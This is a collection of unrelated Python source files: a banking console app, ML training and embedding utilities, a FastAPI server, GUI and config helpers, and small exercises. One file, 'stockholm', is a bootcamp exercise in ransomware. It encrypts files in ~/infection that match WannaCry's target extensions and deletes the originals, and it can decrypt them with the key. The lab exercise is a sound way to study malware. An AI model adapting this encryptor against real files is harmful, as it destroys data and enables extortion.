        for day in stock_values_by_day:
            daily_stock_values = stock_values_by_day[day]
            daily_stock_values.sort(key=lambda x: x.timestamp, reverse=True)
            latest_value = daily_stock_values[0]
            latest_value_by_day[day] = latest_value

        return latest_value_by_day

    def get_latest_motion(self):
        latest_value_by_day = self._get_latest_value_for_each_day()
        # Fetch the two latest items in case of more than two days
        daily_value_list = [latest_value_by_day[day] for day in latest_value_by_day]
        daily_value_list.sort(key=lambda x: x.timestamp, reverse=True)
        todays_stock_value = daily_value_list[0]
        yesterdays_stock_value = daily_value_list[1]
        return LatestStockMotion(todays_stock_value, yesterdays_stock_value)

class LatestStockMotion:
    def __init__(self, todays_stock_value, yesterdays_stock_value):
        self.company_abbr = todays_stock_value.company_abbr
        self.change_in_percent = (todays_stock_value.value/yesterdays_stock_value.value - 1) * 100
        self.latest = todays_stock_value.value


from db_manager import DBManager
from user_manager import UserManager, LoginManager
from transactions_manager import TransactionsManager
from designs import BANK_NAME, colors
from datetime import datetime
import getpass

conn, cursor = DBManager('sample_bank.db').connect()
user_manager = UserManager(conn)
login_manager = LoginManager(conn)
transactions_manager = TransactionsManager(conn)

bank_name_normal = "QuantumBankX"

default_options = [
    "1. Create Account",
    "2. Create Login",
    "3. Login",
    "4. Exit"
]

account_options = [
    "1. Deposit",
    "2. Withdraw",
    "3. Transfer",
    "4. Mini Recipt",
    "5. Logout"
]

login_requirements = [
    "1. CustomerID",
    "2. Password",
]

create_account_requirements = [
    "1. First Name",
    "2. Last Name",
    "3. Date of Birth(YYYY-MM-DD)",
    "4. Gender(M/F)",
    "5. Address",
    "6. Phone Number",
    "7. Email",
    "8. Account Type(Savings/Current)"
]

create_login_requirements = [
    "1. CustomerID",
    "2. Password",
    "3. Confirm Password"
]

if __name__ == '__main__':
    print(BANK_NAME)
    print(colors.bold, colors.fg.cyan, "Welcome to QuantumBankX", colors.reset)
    while True:
        current_user = None
        print("Please select an option:")
        for option in default_options:
            print(option)
        option = input("Enter option: ")
        if option == "1":
            data = []
            for requirement in create_account_requirements:
                data.append(input(requirement + ": "))
            status = user_manager.createUser(data[0], data[1], data[2], data[3], data[4],
                                             data[5], data[6], data[7])
            if status[0]:
                print(colors.fg.green, "Account created successfully.", colors.reset)
                print("CustomerID: " + str(status[2]))
                print("Account Number: " + str(status[3]))
                print()
            else:
                print(colors.fg.red, status[1], colors.reset)
        elif option == "2":
            data = []
            for requirement in create_login_requirements:
                data.append(input(requirement + ": "))
            if data[1] != data[2]:
                print(colors.fg.red, "Passwords do not match.", colors.reset)
                continue
            login_manager.createLogin(data[0], data[1])
            print(colors.fg.green, "Login created successfully.", colors.reset)
            print()
        elif option == "3":
            data = []
            for requirement in login_requirements:
                data.append(input(requirement + ": "))
            login_result = login_manager.login(data[0], data[1])
            if login_result[0]:
                print(colors.fg.green, "Login successful.", colors.reset)
                current_user = user_manager.getUserByCustomerID(data[0])
                print("Welcome, " + current_user[1] + " " + current_user[2])
            else:
                print(colors.fg.red, login_result[1], colors.reset)
        elif option == "4":
            exit()
        else:
            print(colors.fg.red, "Invalid option.", colors.reset)
            continue
        while current_user:
            print("Please select an option:")
            for option in account_options:
                print(option)
            option = input("Enter option: ")
            if option == "1":
                amount = input("Enter amount to deposit: ")
                user_manager.updateBalance(current_user[0], amount)
                transactions_manager.addTransaction(
                    current_user[0], current_user[0], "Deposit", datetime.now(), amount, "Deposit")
                print(colors.fg.green, "Deposit successful.", colors.reset)
                print()
            elif option == "2":
                amount = input("Enter amount to withdraw: ")
                status = user_manager.updateBalance(
                    current_user[0], -int(amount))
                if not status[0]:
                    print(colors.fg.red, status[1], colors.reset)
                    print()
                    continue
                transactions_manager.addTransaction(
                    current_user[0], current_user[0], "Withdraw", datetime.now(), amount, "Withdraw")
                print("Withdrawal successful.")
            elif option == "3":
                amount = input("Enter amount to transfer: ")
                to_account_number = input(
                    "Enter account number to transfer to: ")
                status = user_manager.updateBalance(
                    current_user[0], -int(amount))
                if status[0]:
                    transactions_manager.addTransaction(
                        current_user[8], to_account_number, "Transfer", datetime.now(), amount, "Transfer")
                    to_user = user_manager.getUser(to_account_number)
                    user_manager.updateBalance(to_user[0], amount)
                    print(colors.fg.green, "Transfer successful.", colors.reset)
                else:
                    print(colors.fg.red, status[1], colors.reset)
            elif option == "4":
                print()
                balance = user_manager.getCurrentBalance(current_user[8])
                print("Current Balance: " + str(balance))
                print("Transactions:")
                transactions = transactions_manager.getTransactions(
                    current_user[8])
                for transaction in transactions:
                    print(transaction)
                print("ATM Transactions:")
                atm_transactions = transactions_manager.getATMTransactions(
                    current_user[8])
                for atm_transaction in atm_transactions:
                    print(atm_transaction)
                print()
            elif option == "5":
                print("Logging out.")
                current_user = None
            else:
                print("Invalid option.")
                continue


import numpy as np
import torch
import matplotlib.pyplot as plt
import tester

from hyperparameters import *

def train_fully_connected(train_set, model, test_set):
    optimizer = torch.optim.Adam(model.parameters(), lr=LR)

    losses = []
    test_losses = []
    for e in range(0, EPOCHS):
        print("Epoch: " + str(e))
        batch_losses = []
        for batch_idx, (x, target) in enumerate(train_set):
            if(x.size()[0] == BATCH_SIZE): # avoid last batch size potentially smaller
                y, loss = model(x.reshape(BATCH_SIZE,-1)) # compute predictions
                print(loss.item())
                batch_losses.append(loss.item())

                # compute gradients
                optimizer.zero_grad()
                loss.backward()
                optimizer.step()

        # compute batch losses after each epoch, to detect overfitting
        test_loss = tester.test_fully_connected(test_set, model)
        test_losses.append(np.mean(test_loss))

        losses.append(np.mean(batch_losses))
        #plt.plot(batch_losses)
        #plt.show()

    plt.plot(losses)
    plt.plot(test_losses)
    plt.show()

def train_convnet(train_set, model):
    optimizer = torch.optim.Adam(model.parameters(), lr=LR)

    losses = []
    for e in range(0, EPOCHS):
        print("Epoch: " + str(e))
        batch_losses = []
        for batch_idx, (x, target) in enumerate(train_set):
            if(x.size()[0] == BATCH_SIZE): # avoid last batch size potentially smaller
                loss, y_pred = model(x.reshape(BATCH_SIZE,1,MNIST_X,MNIST_Y)) # compute predictions
                print(loss)
                batch_losses.append(loss.item())

                optimizer.zero_grad()
                loss.backward()
                optimizer.step()

        losses.append(np.mean(batch_losses))
        #plt.plot(batch_losses)
        #plt.show()

    plt.plot(losses)
    plt.show()


# https://www.runoob.com/python/python-exercise-example18.html
# 题目：求s=a+aa+aaa+aaaa+aa...a的值，其中a是一个数字。例如2+22+222+2222+22222(此时共有5个数相加)，几个数相加由键盘控制。

## 分析：
# 流程：获得输入，算出每项值，相加
# 核心算法_算出每项值:循环，如果n大于1，n=tempn,an *=10,然后在再去乘a，tempn -=1,然后再循环完n
# 程序规模：两个循环搞定

## data

a = 4
n = 4   # 几个数相加
an = 0
tempN = 0
tempI = 1
s = an

while n>=1:
    tempN = n
    n-=1
    #得出被加数
    while tempN>=1:
        #如果位数大于等于2，则开始循环位数乘a
        if tempN >1:
            tempI *= 10
            an += tempI*a
            tempN -=1
        elif tempN == 1:
            an += a
            break
    s += an
    an = 0
    tempI = 1
print(s)

##总结
# 1.如果涉及到了两层循环的嵌套，感觉一定至少要把逻辑理清楚，否则就会到测试打补丁修复的情况。会很恶心，而且也会有翻车的风险
# 2.在示例中，把被加数都放到了一个数组里边，我认为这样非常好。我是混这写的，但是这样的话会造成程序的可读性很差，测试难度大。
#   所以把程序在实现的时候分模块写，是非常好的。
# 3.reduce函数：reduce() 函数会对参数序列中元素进行累积，也就是按照参数中的函数，对参数中的数组逐对进行运算
#         语法：reduce(函数，可迭代对象[,初始参数])
#         示例：
from functools import reduce

def add(x, y) :            # 两数相加
    return x + y

Sn = reduce(add, [1,2,3,4,5])   # 计算列表和：1+2+3+4+5 = 15
print(Sn)

# 4.lambda : 匿名函数
#      示例：

Sn = reduce(lambda x,y: x+y,[1,2,3,4,5])
print(Sn)
# 如此可知：在写一些非常简单的函数的时候，用匿名函数会减少代码行数，能够增加函数可读性


from django.db import models
from django.core.validators import RegexValidator

numeric = RegexValidator(r'^[0-9]+', 'Only digit characters.')
class Contact(models.Model):
    full_name = models.CharField(max_length=255)
    image = models.ImageField(null=True, blank=True, upload_to='images/')
    relationship = models.CharField(max_length=50, null= True, blank=True )
    email = models.EmailField(max_length=255, null= True,blank=True)
    phone_number = models.PositiveIntegerField(max_length=11,blank=True, null= True,validators=[numeric])

    address = models.CharField(max_length=255, null= True, blank=True)

    def __str__(self):
        return self.full_name


import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'

import uvicorn
import tensorflow as tf
from fastapi import FastAPI
from utils import Payload, ModelsLoaderSingleton

from absl import logging
logging.set_verbosity(logging.ERROR)

tf.get_logger().setLevel('ERROR')

app = FastAPI()

@app.on_event("startup")
async def startup_event():
    """
    Load the models
    """
    ModelsLoaderSingleton.instance()

@app.put("/update")
async def update_model():
    ModelsLoaderSingleton.update_model()

@app.post("/api")
async def api(payload: Payload):

    # get the text from the payload
    text = payload.text

    predicted = ModelsLoaderSingleton.instance().model.predict([text])

    # print(predicted[0])
    # example of input text: Law enforcement effects on marine life preservation
    # do something with the text
    return {"message": str(predicted)}

if __name__ == "__main__":
    uvicorn.run(app, host="localhost", port=8000)


import os
from configparser import ConfigParser, ParsingError, DuplicateOptionError, DuplicateSectionError
from .models import ConfigData
from dataclasses import asdict
from loguru import logger
import time

class BotConfig(object):
	def __init__(self, file_path: str):
		self.config = ConfigParser()
		self.model = ConfigData()
		self.model_fields = list(asdict(self.model).keys())
		self.section = str(self.model)

		self.file_exists = False

		self.file_path = file_path
		self.validate_config()

	def get_data(self):
		try:
			items = self.config.items(self.section)
			if items:
				return {data[0]: data[1] for data in items}
		except Exception as exception:
			logger.warning(f"Невозможно получить данные из файла конфигурации: {exception}")
			self.delete_config_file()
			self.validate_config()
			return {}

	def wrong_field(self, field):
		data = self.ask_field_value(field)
		self.config.set(self.section, field, data)
		self.write_config_to_file()

	@staticmethod
	def ask_field_value(field):
		time.sleep(0.05)
		data = input(f"Укажите значение для '{field}': ")
		return data

	def check_file_exists(self):
		try:
			open(self.file_path)
		except FileNotFoundError:
			logger.warning(f"Файла конфигурации не существует по пути {self.file_path}")
			return False
		self.file_exists = True
		return True

	def read_file(self):
		try:
			self.config.read(self.file_path, encoding="UTF-8")
		except (ParsingError, DuplicateOptionError, DuplicateSectionError) as exception:
			logger.warning(f"Файл конфигурации повреждён: {exception}")
			return False
		return True

	def check_file_bot_section(self):
		if self.section not in self.config.sections():
			logger.warning(f"Секция отсутствует в файле конфигурации: {self.section}")
			return False
		return True

	def check_file_section_fields(self):
		config_fields = self.config.options(self.section)
		change_file = False
		for field in config_fields:
			if field not in self.model_fields:
				self.config.remove_option(self.section, field)
				logger.warning(f"Удалено лишнее поле в файле конфигурации: {field}")
				change_file = True

		missing_fields = set(self.model_fields).difference(set(config_fields))
		for field in self.model_fields:
			if field not in missing_fields: continue
			data = self.ask_field_value(field)
			self.config.set(self.section, field, data)
			logger.info(f"В конфиг записано отсутствующее значение: '{field} = {data}'")
			change_file = True

		if change_file:
			self.write_config_to_file()

	def write_config_to_file(self):
		if self.section not in self.config.sections():
			self.config.add_section(self.section)

		with open(self.file_path, "w", encoding="UTF-8") as file:
			self.config.write(file)
		if self.file_exists:
			action = "обновлён"
		else:
			action = "создан"
			self.file_exists = True
		logger.info(f"Файл конфигурации бота {action}")

	def delete_config_file(self):
		try:
			os.remove(self.file_path)
		except Exception as exception:
			logger.error(f"Ошибка при удалении файла конфигурации: {exception}")
		logger.info(f"Файл конфигурации по пути {self.file_path} удалён")

	def validate_config(self):
		if not self.check_file_exists():
			self.write_config_to_file()

		if not self.read_file():
			self.write_config_to_file()

		if not self.check_file_bot_section():
			self.write_config_to_file()

		self.check_file_section_fields()

		logger.info("Файл конфигурации бота проверен")


from typing import List
import tkinter
import tkinter.font
from ttkbootstrap import Style
from manager import QStyle, FONT
from base_frame import BaseNoteBook, BaseBanner
from banner_tools import BaseBarTool
from notebook_tools import BaseNotebookTool
from base_tools import check_callable

class CreateQGUI:
    """
    创建最基础的QGUI程序

    :param title: 主程序标题
    :param style: 皮肤，需通过QStyle来确定
    :param stout: 标准输出流
    :param tab_names: List[str] 功能区Tab页面，默认为“主程序控制台”
    :param banner: QGUI的Banner对象
    :param notebook: QGUI的notebook对象
    :param bind_func: 全局事件绑定
    """

    def __init__(self,
                 title="未命名应用",
                 style: dict = None,
                 stout=None,
                 tab_names: List[str] = None,
                 banner: BaseBanner = None,
                 notebook: BaseNoteBook = None,
                 bind_func=None):
        super().__init__()
        self.title = title
        self.style = style

        self.root = tkinter.Tk()
        if bind_func:
            check_callable(bind_func=bind_func)
            self.root.bind_all("<1>", bind_func)
        if self.style:
            self.root.style = Style(**self.style)
        else:
            self.root.style = Style(**QStyle.default)
        self.root.style.configure('bg.TFrame', background=self.root.style.colors.inputbg)
        self.root.style.configure('bg.TLabel', background=self.root.style.colors.inputbg)
        default_font = tkinter.font.nametofont("TkDefaultFont")
        default_font.configure(family=FONT, size=10)
        self.root.option_add("*Font", "TkDefaultFont")
        self.root.geometry('780x560')
        # self.root.update()
        self.root.wm_resizable(False, False)
        self.root.title(self.title)

        # 初始化组件
        self.banner = banner if banner else BaseBanner(title=self.title)
        self.notebook = notebook if notebook else BaseNoteBook(tab_names=tab_names, stdout=stout)

        self.banner.build(self.root, self.get_global_info)
        self.notebook.build(self.root, self.get_global_info)

    @property
    def get_global_info(self):
        # ToDo 做个 global_info管理器，目前信息只从Notebook中流出
        return self.notebook.global_info

    def add_banner_tool(self, tool: BaseBarTool):
        """
        在程序最上方添加小组件
        :param tool: 继承于BaseBarTool的组件对象

        Example
            from qgui.banner_tools import GitHub
            q_gui = CreateQGUI()
            q_gui.add_banner_tool(GitHub())
        """
        self.banner.add_tool(tool)

    abt = add_banner_tool

    def add_notebook_tool(self, tool: BaseNotebookTool):
        """
        在程序中央功能区添加小组件
        :param tool: 继承于BaseNotebookTool的组件对象

        Example
            from qgui.notebook_tools import RunButton
            q_gui.add_notebook_tool(RunButton())
        """
        self.notebook.add_tool(tool)

    ant = add_notebook_tool

    def print_tool(self, tool: BaseNotebookTool):
        """
        在终端中打印组件
        :param tool: 继承于BaseNotebookTool的组件对象
        """
        self.notebook.print_tool(tool)

    def print_image(self, image):
        """
        在终端中打印图像
        :param image: 图像所在路径 or pillow图片对象
        """
        self.notebook.print_image(image)

    def run(self):
        """
        展示GUI界面
        """
        self.root.mainloop()

if __name__ == '__main__':
    from banner_tools import BaseBarTool
    from notebook_tools import BaseChooseFileTextButton

    _tmp = CreateQGUI()
    _tmp.add_banner_tool(BaseBarTool(lambda: print(0)))
    _tmp.add_notebook_tool(BaseChooseFileTextButton(lambda: print(1)))
    _tmp.run()


# -*- coding: utf-8 -*-

"""

@author: alexyang

@contact: alex.yang0326@gmail.com

@file: embedding.py

@time: 2019/2/2 21:42

@desc:

"""

import os
import numpy as np
from gensim.models import Word2Vec
from gensim.models import KeyedVectors
from fastText import train_unsupervised
from glove import Glove, Corpus

import tensorflow as tf
import tensorflow_hub as hub
from allennlp.commands.elmo import ElmoEmbedder

def load_glove_format(filename):
    word_vectors = {}
    embeddings_dim = -1
    with open(filename, 'r') as f:
        for line in f:
            line = line.strip().split()

            try:
                word = line[0]
                word_vector = np.array([float(v) for v in line[1:]])
            except ValueError:
                continue

            if embeddings_dim == -1:
                embeddings_dim = len(word_vector)

            if len(word_vector) != embeddings_dim:
                continue

            word_vectors[word] = word_vector

    assert all(len(vw) == embeddings_dim for vw in word_vectors.values())

    return word_vectors, embeddings_dim

def load_trained(load_filename, vocabulary):
    word_vectors = {}
    try:
        model = KeyedVectors.load_word2vec_format(load_filename)
        weights = model.wv.syn0
        embedding_dim = weights.shape[1]
        for k, v in model.wv.vocab.items():
            word_vectors[k] = weights[v.index, :]
    except ValueError:
        word_vectors, embedding_dim = load_glove_format(load_filename)

    emb = np.zeros(shape=(len(vocabulary) + 1, embedding_dim), dtype='float32')

    nb_unk = 0
    for w, i in vocabulary.items():
        if w not in word_vectors:
            nb_unk += 1
            emb[i, :] = np.random.normal(0, 0.05, embedding_dim)
        else:
            emb[i, :] = word_vectors[w]
    print('Logging Info - From {} Embedding matrix created : {}, unknown tokens: {}'.format(load_filename, emb.shape,
                                                                                nb_unk))
    return emb

def load_elmo_from_tfhub(idx2token, token_ids, hub_url=None):
    """input sentence are processed token id sequences"""
    idx2token[0] = ''   # pad position, must add
    word_mapping = [x[1] for x in sorted(idx2token.items(), key=lambda x: x[0])]
    lookup_table = tf.contrib.lookup.index_to_string_table_from_tensor(word_mapping, default_value="<UNK>")
    if hub_url is None:
        hub_url = 'https://tfhub.dev/google/elmo/2'
    print('Logging Info - ')
    elmo = hub.Module(hub_url, trainable=False)

    inputs = tf.cast(token_ids, dtype=tf.int64)
    sequence_lengths = tf.cast(tf.count_nonzero(inputs, axis=1), dtype=tf.int32)
    embeddings = elmo(inputs={'tokens': lookup_table.lookup(inputs), 'sequence_len': sequence_lengths},
                      signature="tokens", as_dict=True)
    output_mask = tf.expand_dims(tf.cast(tf.not_equal(inputs, 0), tf.float32), axis=-1)
    embeddings *= output_mask

    with tf.Session() as sess:
        sess.run(tf.tables_initializer())
        sess.run(tf.global_variables_initializer())
        elmo_embeddings = sess.run(embeddings)

    return elmo_embeddings

def load_elmo_from_allennlp(idx2token, token_ids, options_file, weight_file, cuda_device=0):
    """input sentence are processed token id sequences"""
    print('Logging Info - Loading elmo from pre-trained model using ElmoEmbedder')
    elmo = ElmoEmbedder(options_file=options_file, weight_file=weight_file, cuda_device=cuda_device)

    input_tokens = []
    for sample in token_ids:
        token = []
        for idx in sample:
            if idx == 0 or idx not in idx2token:
                continue
            token.append(idx2token(idx))
        input_tokens.append(token)

    elmo_embeddings = elmo.embed_batch(input_tokens)

    return elmo_embeddings

def train_w2v(corpus, cut_func, vocabulary, embedding_dim=300):
    corpus = [cut_func(sentence) for sentence in corpus]
    model = Word2Vec(corpus, size=embedding_dim, min_count=1, window=5, sg=1, iter=10)
    weights = model.wv.syn0
    d = dict([(k, v.index) for k, v in model.wv.vocab.items()])
    emb = np.zeros(shape=(len(vocabulary) + 1, embedding_dim), dtype='float32')

    nb_unk = 0
    for w, i in vocabulary.items():
        if w not in d:
            nb_unk += 1
            emb[i, :] = np.random.normal(0, 0.05, embedding_dim)
        else:
            emb[i, :] = weights[d[w], :]
    print('Logging Info - Word2Vec Embedding matrix created: {}, unknown tokens: {}'.format(emb.shape, nb_unk))
    return emb

# here we use a python implementation of Glove, but the official glove implementation of C version is also highly
# recommended: https://github.com/stanfordnlp/GloVe/blob/master/demo.sh
def train_glove(corpus, cut_func, vocabulary, embedding_dim=300):
    corpus = [cut_func(sentence) for sentence in corpus]
    corpus_model = Corpus()
    corpus_model.fit(corpus, window=10)
    glove = Glove(no_components=embedding_dim, learning_rate=0.05)
    glove.fit(corpus_model.matrix, epochs=10, no_threads=4, verbose=True)
    glove.add_dictionary(corpus_model.dictionary)

    emb = np.zeros(shape=(len(vocabulary) + 1, embedding_dim), dtype='float32')

    nb_unk = 0
    for w, i in vocabulary.items():
        if w not in glove.dictionary:
            nb_unk += 1
            emb[i, :] = np.random.normal(0, 0.05, embedding_dim)
        else:
            emb[i, :] = glove.word_vectors[glove.dictionary[w]]
    print('Logging Info - Glove Embedding matrix created: {}, unknown tokens: {}'.format(emb.shape, nb_unk))
    return emb

def train_fasttext(corpus, cut_func, vocabulary, embedding_dim=300):
    corpus = [' '.join(cut_func(sentence)) for sentence in corpus]
    corpus_file_path = 'fasttext_tmp_corpus.txt'
    with open(corpus_file_path, 'w', encoding='utf8')as writer:
        for sentence in corpus:
            writer.write(sentence + '\n')

    model = train_unsupervised(input=corpus_file_path, model='skipgram', epoch=10, minCount=1, wordNgrams=3, dim=300)

    model_vocab = model.get_words()

    emb = np.zeros(shape=(len(vocabulary) + 1, embedding_dim), dtype='float32')
    nb_unk = 0
    for w, i in vocabulary.items():
        if w not in model_vocab:
            nb_unk += 1
            emb[i, :] = np.random.normal(0, 0.05, embedding_dim)
        else:
            emb[i, :] = model.get_word_vector(w)
    print('Logging Info - Fasttext Embedding matrix created: {}, unknown tokens: {}'.format(emb.shape, nb_unk))
    os.remove(corpus_file_path)
    return emb


import numpy as np
from wordfreq import zipf_frequency
from gensim.models import KeyedVectors

#change this from 1 to 430 to search different coordinate ranges for tetrahedron-like structures.
START_INDEX = 1

#Keep these large
MAX_DIST_DIFFERENCE = 50
MAX_CD_DIFFERENCE = 50

#Keep this small
OKAY_DIST_DIFFERENCE = 1

# find 4 equidistant points from the embedding
coords = np.loadtxt("3D_px49_w2v_2.1_tsne.txt")
print(np.shape(coords))
#wv = KeyedVectors.load("w2v_2.1.kv")
#vocab = wv.index_to_key

def txt_to_list(path):
    txt_file = open(path, 'r', encoding="utf-8")
    txt = txt_file.readlines()
    txt = [x.strip() for x in txt]
    return txt

vocab = txt_to_list("vocab.txt")

def distance(a, b):
    return np.sqrt(((a - b)**2).sum(-1))

def validate_distances(a,b,c,d, MAX_DIST_DIFFERENCE):
    if a > 10 or b > 10 or c > 10 or d > 10:
        return MAX_DIST_DIFFERENCE
    distance_diffs = np.abs([a-b, b-c, c-d, d-a, b-d, a-c])
    diff = max(distance_diffs)
    if diff < MAX_DIST_DIFFERENCE:
        print(f'distance of {a}')
        return diff
    return MAX_DIST_DIFFERENCE

def validate_crossdistances(a,b,c,d, MAX_CD_DIFFERENCE):
    crossdistances = np.abs(np.array([distance(a,b), distance(b,c), distance(c,d), distance(d,a), distance(b,d), distance(a,c)])).astype('float16')
    cb = np.array(list((combinations(crossdistances, 2))))
    #print(cb)
    diff = max(np.abs(cb[:,1]-cb[:,0]))
    if diff < MAX_CD_DIFFERENCE:
        #print(np.where(coords == a))
        aword = vocab[np.where(coords == a)[0][0]]
        bword = vocab[np.where(coords == b)[0][0]]
        cword = vocab[np.where(coords == c)[0][0]]
        dword = vocab[np.where(coords == d)[0][0]]
        print(f'best cd_diff found of {diff} at {aword} {bword} {cword} {dword}')
        return diff
    return MAX_CD_DIFFERENCE

print(distance(coords[0], coords[1]))

from itertools import combinations
# now find four points as close as possible, that are the same distance from one another

#coords = np.sort(coords)
#distances = np.sort(distances)
coord = np.array([0,0,0])
distances = np.array([distance(coord,c) for c in coords])

def find_tetrahedron(k, MAX_CD_DIFFERENCE):
    idxs = tuple(combinations(range(k,k+100), 4))
    for idx in idxs:
        r = coords[idx[0]]
        s = coords[idx[1]]
        t = coords[idx[2]]
        u = coords[idx[3]]
        #MAX_DIST_DIFFERENCE = validate_distances(a,b,c,d, MAX_DIST_DIFFERENCE)
        #if MAX_DIST_DIFFERENCE < 1:
            #print(f"dist_validated: {a:.3f} {b:.3f} {c:.3f} {d:.3f}")
            #print(f'{r} {s} {t} {u}')
        MAX_CD_DIFFERENCE = validate_crossdistances(r,s,t,u, MAX_CD_DIFFERENCE)

#An optimized version that first validates the distance from the centroid before calculating all six cross distances.

def find_tetrahedron_fast(k, MAX_DIST_DIFFERENCE,MAX_CD_DIFFERENCE):
    idxs = tuple(combinations(range(k,k+100), 4))
    for idx in idxs:
        a,b,c,d = [distances[axis] for axis in idx]
        r,s,t,u = [coords[axis] for axis in idx]
        MAX_DIST_DIFFERENCE = validate_distances(a,b,c,d, MAX_DIST_DIFFERENCE)
        if MAX_DIST_DIFFERENCE < OKAY_DIST_DIFFERENCE:
            #print(f"dist_validated: {a:.3f} {b:.3f} {c:.3f} {d:.3f}")
            MAX_CD_DIFFERENCE = validate_crossdistances(r,s,t,u, MAX_CD_DIFFERENCE)

for i in range(START_INDEX, 430):
    find_tetrahedron_fast(i*100, MAX_DIST_DIFFERENCE, MAX_CD_DIFFERENCE)


#!/usr/bin/python3
#!/Users/lcasado-/miniconda3/envs/42AI-stockholm/bin/python
#!/home/luis/anaconda3/envs/42AI-stockholm/bin/python

import os
import sys
from cryptography.fernet import Fernet
try:
    import argparse
except ModuleNotFoundError:
    print("Module argaprse is required.")

HOME = os.environ["HOME"]

def encrypt_content(content):

    try:
        # get the key i will use to seed cifer tool
        cifer_key_path = os.path.join(HOME, ".ssh/.encrypt.key")

        with open(cifer_key_path, 'rb') as f:
            cifer_key = f.read()    # it is a 44 length byte array

        # initialize encrypter wiht the key
        fernet = Fernet(cifer_key)

        # encrypt the content
        content_encrypted = fernet.encrypt(content)

        return content_encrypted

    except FileNotFoundError:
        msg = "Encription Key not found. Execute 'generate_encrypt_key.py'"
        print(msg)

def decrypt_content(content_encrypted):

    try:
        # read the key used to seed cifer tool
        cifer_key_path = os.path.join(HOME, ".ssh/.encrypt.key")
        with open(cifer_key_path, 'rb') as f:
            cifer_key = f.read()

        # initialize encrypter wiht the key
        fernet = Fernet(cifer_key)

        # decrypt TOTP Key
        content = fernet.decrypt(content_encrypted)

        return content

    except FileNotFoundError:
        msg = f"Not found {cifer_key_path}. "
        msg = msg + "Execute 'generate_encrypt_key.py"
        raise ValueError(msg)

def read_wannacry_extensions():
    """
    copied a file from
    https://gist.github.com/xpn/facb5692980c14df272b16a4ee6a29d5

    this funcion reads from a file and adds into a set,
    all file extensions affected by wanacry Ransommware.
    """
    try:
        filename = "wannacry_file_extensions.txt"
        pathfile = os.path.join(os.getcwd(), filename)
        ext = set()
        with open(pathfile, 'r') as f:
            for line in f:
                data = f.readline().strip()
                ext.add(data.lower())
        return sorted(ext)
    except FileNotFoundError:
        print(f"Not found file {filename} in cwd")

def recursive_encrypt(folderpath, silence):
    global counter
    for root, dirs, files in os.walk(folderpath, topdown=True,):   # By default does not follows simbolic links to subdirectories
        # first treat files in folders

        for file in files:
            file_name, file_ext = os.path.splitext(file)
            # does file have an extension affected by Wannacry
            if file_ext in extensions:
                # rename all with ".ft" but the files ending with ".ft"
                if file_ext == ".ft":
                    fileout = file
                else:
                    fileout = file + ".ft"

                with open(os.path.join(root, file), 'rb') as infile:
                    incontent = infile.read()
                    cipheredcontent = encrypt_content(incontent)
                    with open(os.path.join(root, fileout), 'wb') as outfile:
                        outfile.write(cipheredcontent)
                os.remove(os.path.join(root, file))
                #try:

                #if os.access(os.path.join(root, file), os.R_OK):
                if not silence:
                    print(root, file)
                counter = counter + 1
        # second, if there are subfolders, treat them
        if len(dirs)>0:
            for dir in dirs:
                recursive_encrypt(os.path.join(root,dir), silence)

def recursive_reverse(folderpath, silence):
    global counter
    for root, dirs, files in os.walk(folderpath, topdown=True,):   # By default does not follows simbolic links to subdirectories
        # first treat files in folders

        for file in files:
            file_name, file_ext = os.path.splitext(file)
            # does file have an extension affected by Wannacry
            if file_ext == ".ft":
                fileout = file_name
                with open(os.path.join(root, file), 'rb') as infile:
                    incontent = infile.read()
                    unciperedcontent = decrypt_content(incontent)
                    with open(os.path.join(root, fileout), 'wb') as outfile:
                        outfile.write(unciperedcontent)
                os.remove(os.path.join(root, file))
                #try:

                #if os.access(os.path.join(root, file), os.R_OK):
                if not silence:
                    print(root, file)
                counter = counter + 1
        # second, if there are subfolders, treat them
        if len(dirs)>0:
            for dir in dirs:
                recursive_reverse(os.path.join(root,dir), silence)

def correct_key(argument):
    """
        Checks if a key entered by user is the same that the one.
    PARAMS:
        Argument : Pathfile to cyphered secret key

    RETURNS
        'BADKEY' IF the argument DOES NOT fits encryption key else argument
    """
    if argument is None:
        parser.error(f"La clave para descifrar falta '{argument}'")
    else:
        try:

            cwd = os.getcwd()
            cifer_key_path = os.path.join(HOME, ".ssh/.encrypt.key")

            if os.path.isfile(cifer_key_path):
                if not os.access(cifer_key_path, os.R_OK):
                    parser.error(f"can not read'{cifer_key_path}'")
                else:
                    with open(cifer_key_path, 'rb') as f:
                        cifer_key = f.read()    # it is a 44 length byte array
                    if argument == cifer_key.decode():
                        return argument
                    else:
                        return 'BADKEY'

        except FileNotFoundError:
            msg = "Encription Key not found. Execute 'generate_encrypt_key.py'"
            print(msg)

def create_argument_parser():

    msg = f"""
    Pequeño programa de cifrado.
    Es un ejercicio del bootcamp de ciberseguridad de 42 Barcelona.
    Solamente afecta a los archivos de la carpeta '{HOME}/infection'
    """
    parser = argparse.ArgumentParser(
        prog='stockholm',
        description=msg,
        epilog='Este es el final de la ayuda',
        usage="""
        ./stockholm [-h] [-v] [-s] [-r] KEY
        """
        )

    parser.add_argument('-v','--version',
                       help=f'Muestra la versión del programa',
                       action='store_true')
    parser.add_argument('-s','--silent',
                       help='No mostrar nombres de ficheros cifrados',
                       action='store_true')
    parser.add_argument('-r','--reverse', metavar='KEY',
                       help=f'introduzca la clave para revertir el cifrado',
                       type=correct_key)

    return parser

if __name__ == "__main__":

    parser = create_argument_parser()
    args = parser.parse_args(sys.argv[1:])
    #args = parser.parse_args(['-r', 'U7m7sfudf96edFqZNzkrFw5qNce6YLJ7LYdTTsq2YM8='])
    print("Estos son mis argumentos ", args)

    silence = False

    counter = 0  # will count how many files were encrypted.

    # read a txt file wiht file extensions to encryp

    extensions = read_wannacry_extensions()
    #print(extensions)

    folderpath = os.path.join(HOME, "infection")

    if args.version: print("Stockholm Version 0.0.1")
    if args.silent: silence=True
    if args.reverse is None:
        print("voy a cifrar")
        recursive_encrypt(folderpath,silence)
    elif args.reverse == 'BADKEY':
        print("La clave para descifrar no coincide con la calve de cifrado")
    else:
        recursive_reverse(folderpath,silence)

    print(f"{counter} files treated")


"Death Note"
import glob
import itertools
import os

import nltk
from nltk.tokenize import TweetTokenizer
import webvtt

def get_words():
    sub_files = glob.glob(__path__[0] + "/subs/*.vtt")
    words = []
    for f in sub_files:
        words.extend(get_words_from_subtitles(f))
    return words

def get_words_from_subtitles(file, buffer_size=6):
    "Get the words from the whole serie"
    tknzr = TweetTokenizer()
    file_words = []
    previous = []
    for caption in webvtt.read(file):
        text = caption.text
        if text in previous:
            continue
        previous.append(text)
        if len(previous) > buffer_size + 1:
            del previous[0]
